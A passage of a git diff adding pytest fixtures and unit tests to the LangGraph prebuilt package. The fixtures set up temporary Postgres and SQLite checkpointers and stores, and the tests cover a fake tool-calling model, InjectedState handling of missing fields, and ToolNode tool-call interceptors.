checkpointer_name = request.param + if checkpointer_name == "memory": + with _checkpointer_memory() as checkpointer: + yield checkpointer + elif checkpointer_name == "sqlite": + with _checkpointer_sqlite() as checkpointer: + yield checkpointer + elif checkpointer_name == "postgres": + with _checkpointer_postgres() as checkpointer: + yield checkpointer + elif checkpointer_name == "postgres_pipe": + with _checkpointer_postgres_pipe() as checkpointer: + yield checkpointer + elif checkpointer_name == "postgres_pool": + with _checkpointer_postgres_pool() as checkpointer: + yield checkpointer + else: + raise NotImplementedError(f"Unknown checkpointer: {checkpointer_name}") + + +@pytest.fixture( + scope="function", + params=ASYNC_CHECKPOINTER_PARAMS, +) +async def async_checkpointer( + request: pytest.FixtureRequest, +) -> AsyncIterator[BaseCheckpointSaver]: + checkpointer_name = request.param + if checkpointer_name == "memory": + with _checkpointer_memory() as checkpointer: + yield checkpointer + elif checkpointer_name == "sqlite_aio": + async with _checkpointer_sqlite_aio() as checkpointer: + yield checkpointer + elif checkpointer_name == "postgres_aio": + async with _checkpointer_postgres_aio() as checkpointer: + yield checkpointer + elif checkpointer_name == "postgres_aio_pipe": + async with _checkpointer_postgres_aio_pipe() as checkpointer: + yield checkpointer + elif checkpointer_name == "postgres_aio_pool": + async with _checkpointer_postgres_aio_pool() as checkpointer: + yield checkpointer + else: + raise NotImplementedError(f"Unknown checkpointer: {checkpointer_name}") diff --git a/libs/prebuilt/tests/conftest_checkpointer.py b/libs/prebuilt/tests/conftest_checkpointer.py new file mode 100644 index 0000000..c71e46c --- /dev/null +++ b/libs/prebuilt/tests/conftest_checkpointer.py @@ -0,0 +1,177 @@ +from contextlib import asynccontextmanager, contextmanager +from uuid import uuid4 + +from langgraph.checkpoint.postgres import PostgresSaver +from langgraph.checkpoint.postgres.aio import AsyncPostgresSaver +from langgraph.checkpoint.sqlite import SqliteSaver +from langgraph.checkpoint.sqlite.aio import AsyncSqliteSaver +from psycopg import AsyncConnection, Connection +from psycopg_pool import AsyncConnectionPool, ConnectionPool + +from tests.memory_assert import MemorySaverAssertImmutable + +DEFAULT_POSTGRES_URI = "postgres://postgres:postgres@localhost:5442/" + + +@contextmanager +def _checkpointer_memory(): + yield MemorySaverAssertImmutable() + + +@contextmanager +def _checkpointer_sqlite(): + with SqliteSaver.from_conn_string(":memory:") as checkpointer: + yield checkpointer + + +@contextmanager +def _checkpointer_postgres(): + database = f"test_{uuid4().hex[:16]}" + # create unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"CREATE DATABASE {database}") + try: + # yield checkpointer + with PostgresSaver.from_conn_string( + DEFAULT_POSTGRES_URI + database + ) as checkpointer: + checkpointer.setup() + yield checkpointer + finally: + # drop unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"DROP DATABASE {database}") + + +@contextmanager +def _checkpointer_postgres_pipe(): + database = f"test_{uuid4().hex[:16]}" + # create unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"CREATE DATABASE {database}") + try: + # yield checkpointer + with PostgresSaver.from_conn_string( + DEFAULT_POSTGRES_URI + database + ) as checkpointer: + checkpointer.setup() + # setup can't run inside pipeline because of implicit transaction + with checkpointer.conn.pipeline() as pipe: + checkpointer.pipe = pipe + yield checkpointer + finally: + # drop unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"DROP DATABASE {database}") + + +@contextmanager +def _checkpointer_postgres_pool(): + database = f"test_{uuid4().hex[:16]}" + # create unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"CREATE DATABASE {database}") + try: + # yield checkpointer + with ConnectionPool( + DEFAULT_POSTGRES_URI + database, max_size=10, kwargs={"autocommit": True} + ) as pool: + checkpointer = PostgresSaver(pool) + checkpointer.setup() + yield checkpointer + finally: + # drop unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"DROP DATABASE {database}") + + +@asynccontextmanager +async def _checkpointer_sqlite_aio(): + async with AsyncSqliteSaver.from_conn_string(":memory:") as checkpointer: + yield checkpointer + + +@asynccontextmanager +async def _checkpointer_postgres_aio(): + database = f"test_{uuid4().hex[:16]}" + # create unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + # yield checkpointer + async with AsyncPostgresSaver.from_conn_string( + DEFAULT_POSTGRES_URI + database + ) as checkpointer: + await checkpointer.setup() + yield checkpointer + finally: + # drop unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +@asynccontextmanager +async def _checkpointer_postgres_aio_pipe(): + database = f"test_{uuid4().hex[:16]}" + # create unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + # yield checkpointer + async with AsyncPostgresSaver.from_conn_string( + DEFAULT_POSTGRES_URI + database + ) as checkpointer: + await checkpointer.setup() + # setup can't run inside pipeline because of implicit transaction + async with checkpointer.conn.pipeline() as pipe: + checkpointer.pipe = pipe + yield checkpointer + finally: + # drop unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +@asynccontextmanager +async def _checkpointer_postgres_aio_pool(): + database = f"test_{uuid4().hex[:16]}" + # create unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + # yield checkpointer + async with AsyncConnectionPool( + DEFAULT_POSTGRES_URI + database, max_size=10, kwargs={"autocommit": True} + ) as pool: + checkpointer = AsyncPostgresSaver(pool) + await checkpointer.setup() + yield checkpointer + finally: + # drop unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +__all__ = [ + "_checkpointer_memory", + "_checkpointer_sqlite", + "_checkpointer_postgres", + "_checkpointer_postgres_pipe", + "_checkpointer_postgres_pool", + "_checkpointer_sqlite_aio", + "_checkpointer_postgres_aio", + "_checkpointer_postgres_aio_pipe", + "_checkpointer_postgres_aio_pool", +] diff --git a/libs/prebuilt/tests/conftest_store.py b/libs/prebuilt/tests/conftest_store.py new file mode 100644 index 0000000..4ae8c24 --- /dev/null +++ b/libs/prebuilt/tests/conftest_store.py @@ -0,0 +1,145 @@ +from contextlib import asynccontextmanager, contextmanager +from uuid import uuid4 + +from langgraph.store.memory import InMemoryStore +from langgraph.store.postgres import AsyncPostgresStore, PostgresStore +from psycopg import AsyncConnection, Connection + +DEFAULT_POSTGRES_URI = "postgres://postgres:postgres@localhost:5442/" + + +@contextmanager +def _store_memory(): + store = InMemoryStore() + yield store + + +@contextmanager +def _store_postgres(): + database = f"test_{uuid4().hex[:16]}" + # create unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"CREATE DATABASE {database}") + try: + # yield store + with PostgresStore.from_conn_string(DEFAULT_POSTGRES_URI + database) as store: + store.setup() + yield store + finally: + # drop unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"DROP DATABASE {database}") + + +@contextmanager +def _store_postgres_pipe(): + database = f"test_{uuid4().hex[:16]}" + # create unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"CREATE DATABASE {database}") + try: + # yield store + with PostgresStore.from_conn_string(DEFAULT_POSTGRES_URI + database) as store: + store.setup() # Run in its own transaction + with PostgresStore.from_conn_string( + DEFAULT_POSTGRES_URI + database, pipeline=True + ) as store: + yield store + finally: + # drop unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"DROP DATABASE {database}") + + +@contextmanager +def _store_postgres_pool(): + database = f"test_{uuid4().hex[:16]}" + # create unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"CREATE DATABASE {database}") + try: + # yield store + with PostgresStore.from_conn_string( + DEFAULT_POSTGRES_URI + database, pool_config={"max_size": 10} + ) as store: + store.setup() + yield store + finally: + # drop unique db + with Connection.connect(DEFAULT_POSTGRES_URI, autocommit=True) as conn: + conn.execute(f"DROP DATABASE {database}") + + +@asynccontextmanager +async def _store_postgres_aio(): + database = f"test_{uuid4().hex[:16]}" + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + async with AsyncPostgresStore.from_conn_string( + DEFAULT_POSTGRES_URI + database + ) as store: + await store.setup() + yield store + finally: + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +@asynccontextmanager +async def _store_postgres_aio_pipe(): + database = f"test_{uuid4().hex[:16]}" + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + async with AsyncPostgresStore.from_conn_string( + DEFAULT_POSTGRES_URI + database + ) as store: + await store.setup() # Run in its own transaction + async with AsyncPostgresStore.from_conn_string( + DEFAULT_POSTGRES_URI + database, pipeline=True + ) as store: + yield store + finally: + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +@asynccontextmanager +async def _store_postgres_aio_pool(): + database = f"test_{uuid4().hex[:16]}" + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + async with AsyncPostgresStore.from_conn_string( + DEFAULT_POSTGRES_URI + database, + pool_config={"max_size": 10}, + ) as store: + await store.setup() + yield store + finally: + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +__all__ = [ + "_store_memory", + "_store_postgres", + "_store_postgres_pipe", + "_store_postgres_pool", + "_store_postgres_aio", + "_store_postgres_aio_pipe", + "_store_postgres_aio_pool", +] diff --git a/libs/prebuilt/tests/memory_assert.py b/libs/prebuilt/tests/memory_assert.py new file mode 100644 index 0000000..c09c2d7 --- /dev/null +++ b/libs/prebuilt/tests/memory_assert.py @@ -0,0 +1,58 @@ +import os +import tempfile +from collections import defaultdict +from functools import partial + +from langgraph.checkpoint.base import ( + ChannelVersions, + Checkpoint, + CheckpointMetadata, + SerializerProtocol, +) +from langgraph.checkpoint.memory import InMemorySaver, PersistentDict +from langgraph.pregel._checkpoint import copy_checkpoint + + +class MemorySaverAssertImmutable(InMemorySaver): + storage_for_copies: defaultdict[str, dict[str, dict[str, Checkpoint]]] + + def __init__( + self, + *, + serde: SerializerProtocol | None = None, + put_sleep: float | None = None, + ) -> None: + _, filename = tempfile.mkstemp() + super().__init__( + serde=serde, factory=partial(PersistentDict, filename=filename) + ) + self.storage_for_copies = defaultdict(lambda: defaultdict(dict)) + self.put_sleep = put_sleep + self.stack.callback(os.remove, filename) + + def put( + self, + config: dict, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> None: + if self.put_sleep: + import time + + time.sleep(self.put_sleep) + # assert checkpoint hasn't been modified since last written + thread_id = config["configurable"]["thread_id"] + checkpoint_ns = config["configurable"]["checkpoint_ns"] + if saved := super().get(config): + assert ( + self.serde.loads_typed( + self.storage_for_copies[thread_id][checkpoint_ns][saved["id"]] + ) + == saved + ) + self.storage_for_copies[thread_id][checkpoint_ns][checkpoint["id"]] = ( + self.serde.dumps_typed(copy_checkpoint(checkpoint)) + ) + # call super to write checkpoint + return super().put(config, checkpoint, metadata, new_versions) diff --git a/libs/prebuilt/tests/messages.py b/libs/prebuilt/tests/messages.py new file mode 100644 index 0000000..06f64bc --- /dev/null +++ b/libs/prebuilt/tests/messages.py @@ -0,0 +1,28 @@ +"""Redefined messages as a work-around for pydantic issue with AnyStr. + +The code below creates version of pydantic models +that will work in unit tests with AnyStr as id field +Please note that the `id` field is assigned AFTER the model is created +to workaround an issue with pydantic ignoring the __eq__ method on +subclassed strings. +""" + +from typing import Any + +from langchain_core.messages import HumanMessage, ToolMessage + +from tests.any_str import AnyStr + + +def _AnyIdHumanMessage(**kwargs: Any) -> HumanMessage: + """Create a human message with an any id field.""" + message = HumanMessage(**kwargs) + message.id = AnyStr() + return message + + +def _AnyIdToolMessage(**kwargs: Any) -> ToolMessage: + """Create a tool message with an any id field.""" + message = ToolMessage(**kwargs) + message.id = AnyStr() + return message diff --git a/libs/prebuilt/tests/model.py b/libs/prebuilt/tests/model.py new file mode 100644 index 0000000..54518b3 --- /dev/null +++ b/libs/prebuilt/tests/model.py @@ -0,0 +1,95 @@ +from collections.abc import Callable, Sequence +from typing import ( + Any, + Literal, +) + +from langchain_core.callbacks import CallbackManagerForLLMRun +from langchain_core.language_models import BaseChatModel, LanguageModelInput +from langchain_core.messages import ( + AIMessage, + BaseMessage, + ToolCall, +) +from langchain_core.outputs import ChatGeneration, ChatResult +from langchain_core.runnables import Runnable, RunnableLambda +from langchain_core.tools import BaseTool +from pydantic import BaseModel + +from langgraph.prebuilt.chat_agent_executor import StructuredResponse + + +class FakeToolCallingModel(BaseChatModel): + tool_calls: list[list[ToolCall]] | None = None + structured_response: StructuredResponse | None = None + index: int = 0 + tool_style: Literal["openai", "anthropic"] = "openai" + + def _generate( + self, + messages: list[BaseMessage], + stop: list[str] | None = None, + run_manager: CallbackManagerForLLMRun | None = None, + **kwargs: Any, + ) -> ChatResult: + """Top Level call""" + messages_string = "-".join([m.content for m in messages]) + tool_calls = ( + self.tool_calls[self.index % len(self.tool_calls)] + if self.tool_calls + else [] + ) + message = AIMessage( + content=messages_string, id=str(self.index), tool_calls=tool_calls.copy() + ) + self.index += 1 + return ChatResult(generations=[ChatGeneration(message=message)]) + + @property + def _llm_type(self) -> str: + return "fake-tool-call-model" + + def with_structured_output( + self, schema: type[BaseModel] + ) -> Runnable[LanguageModelInput, StructuredResponse]: + if self.structured_response is None: + raise ValueError("Structured response is not set") + + return RunnableLambda(lambda x: self.structured_response) + + def bind_tools( + self, + tools: Sequence[dict[str, Any] | type[BaseModel] | Callable | BaseTool], + **kwargs: Any, + ) -> Runnable[LanguageModelInput, BaseMessage]: + if len(tools) == 0: + raise ValueError("Must provide at least one tool") + + tool_dicts = [] + for tool in tools: + if isinstance(tool, dict): + tool_dicts.append(tool) + continue + if not isinstance(tool, BaseTool): + raise TypeError( + "Only BaseTool and dict is supported by FakeToolCallingModel.bind_tools" + ) + + # NOTE: this is a simplified tool spec for testing purposes only + if self.tool_style == "openai": + tool_dicts.append( + { + "type": "function", + "function": { + "name": tool.name, + }, + } + ) + elif self.tool_style == "anthropic": + tool_dicts.append( + { + "name": tool.name, + } + ) + + return self.bind(tools=tool_dicts) diff --git a/libs/prebuilt/tests/test_deprecation.py b/libs/prebuilt/tests/test_deprecation.py new file mode 100644 index 0000000..72fc1ee --- /dev/null +++ b/libs/prebuilt/tests/test_deprecation.py @@ -0,0 +1,41 @@ +import pytest +from langgraph.warnings import LangGraphDeprecatedSinceV10 +from typing_extensions import TypedDict + +from langgraph.prebuilt import create_react_agent +from tests.model import FakeToolCallingModel + + +class Config(TypedDict): + model: str + + +@pytest.mark.filterwarnings("ignore:`config_schema` is deprecated") +@pytest.mark.filterwarnings("ignore:`get_config_jsonschema` is deprecated") +def test_config_schema_deprecation() -> None: + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="`config_schema` is deprecated and will be removed. Please use `context_schema` instead.", + ): + agent = create_react_agent(FakeToolCallingModel(), [], config_schema=Config) + assert agent.context_schema == Config + + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="`config_schema` is deprecated. Use `get_context_jsonschema` for the relevant schema instead.", + ): + assert agent.config_schema() is not None + + with pytest.warns( + LangGraphDeprecatedSinceV10, + match="`get_config_jsonschema` is deprecated. Use `get_context_jsonschema` instead.", + ): + assert agent.get_config_jsonschema() is not None + + +def test_extra_kwargs_deprecation() -> None: + with pytest.raises( + TypeError, + match="create_react_agent\(\) got unexpected keyword arguments: \{'extra': 'extra'\}", + ): + create_react_agent(FakeToolCallingModel(), [], extra="extra") diff --git a/libs/prebuilt/tests/test_injected_state_not_required.py b/libs/prebuilt/tests/test_injected_state_not_required.py new file mode 100644 index 0000000..36b9a1d --- /dev/null +++ b/libs/prebuilt/tests/test_injected_state_not_required.py @@ -0,0 +1,285 @@ +"""Test InjectedState with NotRequired state fields. + +This tests the fix for https://github.com/langchain-ai/langchain/issues/35585 + +When using InjectedState() on a tool parameter, and the referenced field is +declared as NotRequired in the custom state schema, the ToolNode should gracefully +handle missing fields by injecting None instead of raising KeyError. +""" + +import sys +from typing import Annotated + +import pytest +from langchain_core.messages import AIMessage, AnyMessage, HumanMessage, ToolMessage +from langchain_core.tools import tool +from langgraph.graph.message import add_messages +from pydantic import BaseModel, Field +from typing_extensions import NotRequired + +from langgraph.prebuilt import InjectedState, ToolNode, create_react_agent +from langgraph.prebuilt.chat_agent_executor import AgentState + +from .model import FakeToolCallingModel + + +class CustomAgentStateWithNotRequired(AgentState): + """Custom state with a NotRequired field (TypedDict style).""" + + city: NotRequired[str] + + +class CustomAgentStatePydanticWithDefault(BaseModel): + """Custom state with Optional field and default (Pydantic style).""" + + messages: Annotated[list[AnyMessage], add_messages] + remaining_steps: int = Field(default=10) + city: str | None = Field(default=None) + + +@tool +def get_weather(city: Annotated[str | None, InjectedState("city")] = None) -> str: + """Get weather for a given city.""" + if city is None: + return "No city provided" + return f"It's always sunny in {city}!" + + +def _create_mock_runtime( + state: dict | None = None, + store=None, +): + """Create a mock Runtime for testing ToolNode directly.""" + from unittest.mock import Mock + + from langgraph.runtime import Runtime + + mock_runtime = Mock(spec=Runtime) + mock_runtime.context = {} + return mock_runtime + + +def _create_config_with_runtime(store=None, state=None): + """Create a RunnableConfig with mocked runtime for direct ToolNode testing.""" + from langgraph.prebuilt.tool_node import ToolRuntime + + tool_runtime = ToolRuntime( + state=state or {}, + config={}, + context={}, + store=store, + stream_writer=None, + tools=[], + tool_call_id="test_id", + ) + return { + "configurable": { + "__pregel_runtime": _create_mock_runtime(), + "__tool_runtime__": tool_runtime, + } + } + + +@pytest.mark.skipif( + sys.version_info < (3, 11), + reason="InjectedState field extraction from Optional[Annotated[...]] not supported on Python <3.11", +) +def test_injected_state_not_required_field_missing_injects_none(): + """Test that InjectedState with NotRequired field injects None when field is missing. + + This verifies the fix for https://github.com/langchain-ai/langchain/issues/35585 + """ + tool_node = ToolNode([get_weather]) + + tool_call = { + "name": "get_weather", + "args": {}, + "id": "call_1", + "type": "tool_call", + } + ai_msg = AIMessage("Let me check the weather", tool_calls=[tool_call]) + + # State WITHOUT the "city" field - should inject None instead of raising KeyError + state_without_city: CustomAgentStateWithNotRequired = { + "messages": [HumanMessage("What's the weather?"), ai_msg], + } + + result = tool_node.invoke( + state_without_city, + config=_create_config_with_runtime(state=state_without_city), + ) + + assert len(result["messages"]) == 1 + tool_msg = result["messages"][0] + assert isinstance(tool_msg, ToolMessage) + assert "No city provided" in tool_msg.content + + +@pytest.mark.skipif( + sys.version_info < (3, 11), + reason="InjectedState field extraction from Optional[Annotated[...]] not supported on Python <3.11", +) +def test_injected_state_not_required_field_present_works(): + """Test that InjectedState with NotRequired field works when field IS present.""" + tool_node = ToolNode([get_weather]) + + tool_call = { + "name": "get_weather", + "args": {}, + "id": "call_1", + "type": "tool_call", + } + ai_msg = AIMessage("Let me check the weather", tool_calls=[tool_call]) + + # State WITH the "city" field - this should work + state_with_city: CustomAgentStateWithNotRequired = { + "messages": [HumanMessage("What's the weather?"), ai_msg], + "city": "San Francisco", + } + + result = tool_node.invoke( + state_with_city, + config=_create_config_with_runtime(state=state_with_city), + ) + + assert len(result["messages"]) == 1 + tool_msg = result["messages"][0] + assert isinstance(tool_msg, ToolMessage) + assert "San Francisco" in tool_msg.content + + +@pytest.mark.skipif( + sys.version_info < (3, 11), + reason="InjectedState field extraction from Optional[Annotated[...]] not supported on Python <3.11", +) +def test_create_react_agent_injected_state_not_required_field_missing(): + """Test create_react_agent with InjectedState using NotRequired field that is missing. + + This verifies the fix for https://github.com/langchain-ai/langchain/issues/35585 + """ + model = FakeToolCallingModel( + tool_calls=[ + [{"name": "get_weather", "args": {}, "id": "call_1"}], + [], # No more tool calls, agent should stop + ] + ) + + agent = create_react_agent( + model, + tools=[get_weather], + state_schema=CustomAgentStateWithNotRequired, + ) + + # Invoke WITHOUT the city field - should work, injecting None + result = agent.invoke( + {"messages": [HumanMessage("What's the weather?")]}, + ) + + # Check that the tool was called successfully with None injected + messages = result["messages"] + tool_messages = [m for m in messages if isinstance(m, ToolMessage)] + assert len(tool_messages) == 1 + assert "No city provided" in tool_messages[0].content + + +@pytest.mark.skipif( + sys.version_info < (3, 11), + reason="InjectedState field extraction from Optional[Annotated[...]] not supported on Python <3.11", +) +def test_create_react_agent_injected_state_not_required_field_present(): + """Test create_react_agent with InjectedState using NotRequired field that IS present.""" + model = FakeToolCallingModel( + tool_calls=[ + [{"name": "get_weather", "args": {}, "id": "call_1"}], + [], # No more tool calls, agent should stop + ] + ) + + agent = create_react_agent( + model, + tools=[get_weather], + state_schema=CustomAgentStateWithNotRequired, + ) + + # Invoke WITH the city field + result = agent.invoke( + { + "messages": [HumanMessage("What's the weather?")], + "city": "San Francisco", + }, + ) + + # Check that the tool was called successfully + messages = result["messages"] + tool_messages = [m for m in messages if isinstance(m, ToolMessage)] + assert len(tool_messages) == 1 + assert "San Francisco" in tool_messages[0].content + + +@tool +def get_weather_optional(city: Annotated[str | None, InjectedState("city")]) -> str: + """Get weather for a given city (accepts None).""" + if city is None: + return "Please provide a city!" + return f"It's always sunny in {city}!" + + +def test_pydantic_state_with_default_field_missing_works(): + """Test that Pydantic state with Optional field and default=None works when field is missing. + + This is the workaround suggested in the issue comments - using Pydantic BaseModel + with `city: Optional[str] = Field(default=None)` instead of TypedDict with NotRequired. + """ + model = FakeToolCallingModel( + tool_calls=[ + [{"name": "get_weather_optional", "args": {}, "id": "call_1"}], + [], # No more tool calls, agent should stop + ] + ) + + agent = create_react_agent( + model, + tools=[get_weather_optional], + state_schema=CustomAgentStatePydanticWithDefault, + ) + + # Invoke WITHOUT the city field - should work because Pydantic provides default + result = agent.invoke( + {"messages": [HumanMessage("What's the weather?")]}, + ) + + # Check that the tool was called successfully with None + messages = result["messages"] + tool_messages = [m for m in messages if isinstance(m, ToolMessage)] + assert len(tool_messages) == 1 + assert "Please provide a city!" in tool_messages[0].content + + +def test_pydantic_state_with_default_field_present_works(): + """Test that Pydantic state with Optional field works when field IS present.""" + model = FakeToolCallingModel( + tool_calls=[ + [{"name": "get_weather_optional", "args": {}, "id": "call_1"}], + [], # No more tool calls, agent should stop + ] + ) + + agent = create_react_agent( + model, + tools=[get_weather_optional], + state_schema=CustomAgentStatePydanticWithDefault, + ) + + # Invoke WITH the city field + result = agent.invoke( + { + "messages": [HumanMessage("What's the weather?")], + "city": "San Francisco", + }, + ) + + # Check that the tool was called successfully + messages = result["messages"] + tool_messages = [m for m in messages if isinstance(m, ToolMessage)] + assert len(tool_messages) == 1 + assert "San Francisco" in tool_messages[0].content diff --git a/libs/prebuilt/tests/test_on_tool_call.py b/libs/prebuilt/tests/test_on_tool_call.py new file mode 100644 index 0000000..f1143c9 --- /dev/null +++ b/libs/prebuilt/tests/test_on_tool_call.py @@ -0,0 +1,1473 @@ +"""Unit tests for tool call interceptor in ToolNode.""" + +from collections.abc import Callable +from unittest.mock import Mock + +import pytest +from langchain_core.messages import AIMessage, ToolCall, ToolMessage +from langchain_core.runnables import RunnableConfig +from langchain_core.tools import tool +from langgraph.store.base import BaseStore +from langgraph.types import Command + +from langgraph.prebuilt.tool_node import ( + ToolCallRequest, + ToolNode, +) + +pytestmark = pytest.mark.anyio + + +def _create_mock_runtime(store: BaseStore | None = None) -> Mock: + mock_runtime = Mock() + mock_runtime.store = store + mock_runtime.context = None + mock_runtime.stream_writer = lambda _: None + return mock_runtime + + +def _create_config_with_runtime(store: BaseStore | None = None) -> RunnableConfig: + return {"configurable": {"__pregel_runtime": _create_mock_runtime(store)}} + + +@tool +def add(a: int, b: int) -> int: + """Add two numbers.""" + return a + b + + +@tool +def failing_tool(a: int) -> int: + """A tool that always fails.""" + msg = f"This tool always fails (input: {a})" + raise ValueError(msg) + + +@tool +def command_tool(goto: str) -> Command: + """A tool that returns a Command.""" + return Command(goto=goto) + + +def test_passthrough_handler() -> None: + """Test a simple passthrough handler that doesn't modify anything.""" + + def passthrough_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Simple passthrough handler.""" + return execute(request) + + tool_node = ToolNode([add], wrap_tool_call=passthrough_handler) + + result = tool_node.invoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_1", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message = result["messages"][-1] + assert isinstance(tool_message, ToolMessage) + assert tool_message.content == "3" + assert tool_message.tool_call_id == "call_1" + assert tool_message.status != "error" + + +async def test_passthrough_handler_async() -> None: + """Test passthrough handler with async tool.""" + + def passthrough_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Simple passthrough handler.""" + return execute(request) + + tool_node = ToolNode([add], wrap_tool_call=passthrough_handler) + + result = await tool_node.ainvoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 2, "b": 3}, + "id": "call_2", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message = result["messages"][-1] + assert isinstance(tool_message, ToolMessage) + assert tool_message.content == "5" + assert tool_message.tool_call_id == "call_2" + + +def test_modify_arguments() -> None: + """Test handler that modifies tool arguments before execution.""" + + def modify_args_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that doubles the input arguments.""" + # Modify the arguments using override method + modified_call = { + **request.tool_call, + "args": { + **request.tool_call["args"], + "a": request.tool_call["args"]["a"] * 2, + "b": request.tool_call["args"]["b"] * 2, + }, + } + modified_request = request.override(tool_call=modified_call) + return execute(modified_request) + + tool_node = ToolNode([add], wrap_tool_call=modify_args_handler) + + result = tool_node.invoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_3", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message = result["messages"][-1] + assert isinstance(tool_message, ToolMessage) + # Original args were (1, 2), doubled to (2, 4), so result is 6 + assert tool_message.content == "6" + + +def test_handler_validation_no_return() -> None: + """Test that handler must return a result.""" + + def handler_with_explicit_none( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that executes and returns result.""" + return execute(request) + + tool_node = ToolNode([add], wrap_tool_call=handler_with_explicit_none) + + result = tool_node.invoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_6", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + assert isinstance(result, dict) + messages = result["messages"] + assert len(messages) == 1 + assert isinstance(messages[0], ToolMessage) + assert messages[0].content == "3" + + +def test_handler_validation_no_yield() -> None: + """Test that handler that doesn't call execute returns None (bad behavior).""" + + def bad_handler( + _request: ToolCallRequest, + _execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that doesn't call execute - will cause type error.""" + # Don't call execute, just return None (invalid) + return None # type: ignore[return-value] + + tool_node = ToolNode([add], wrap_tool_call=bad_handler) + + # This will return None wrapped in messages + result = tool_node.invoke( + { + "messages": [ + AIMessage( + "adding", + tool_calls=[ + { + "name": "add", + "args": {"a": 1, "b": 2}, + "id": "call_7", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + # Result contains None in messages (bad handler behavior) + assert isinstance(result, dict) + assert result["messages"][0] is None + + +def test_handler_with_handle_tool_errors_true() -> None: + """Test that handle_tool_errors=True works with on_tool_call handler.""" + + def passthrough_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Simple passthrough handler.""" + message = execute(request) + # When handle_tool_errors=True, errors should be converted to error messages + assert isinstance(message, ToolMessage) + assert message.status == "error" + return message + + tool_node = ToolNode( + [failing_tool], wrap_tool_call=passthrough_handler, handle_tool_errors=True + ) + + result = tool_node.invoke( + { + "messages": [ + AIMessage( + "failing", + tool_calls=[ + { + "name": "failing_tool", + "args": {"a": 1}, + "id": "call_9", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message = result["messages"][-1] + assert isinstance(tool_message, ToolMessage) + assert tool_message.status == "error" + + +def test_multiple_tool_calls_with_handler() -> None: + """Test handler with multiple tool calls in one message.""" + call_count = 0 + + def counting_handler( + request: ToolCallRequest, + execute: Callable[[ToolCallRequest], ToolMessage | Command], + ) -> ToolMessage | Command: + """Handler that counts calls.""" + nonlocal call_count + call_count += 1 + return execute(request) + + tool_node = ToolNode([add], wrap_tool_call=counting_handler) + + result = tool_node.invoke( + { + "messages": [ + AIMessage( + "adding multiple", + tool_calls=[ + { + "name": "add", + "args": {"a": 1, "b": 2}, + 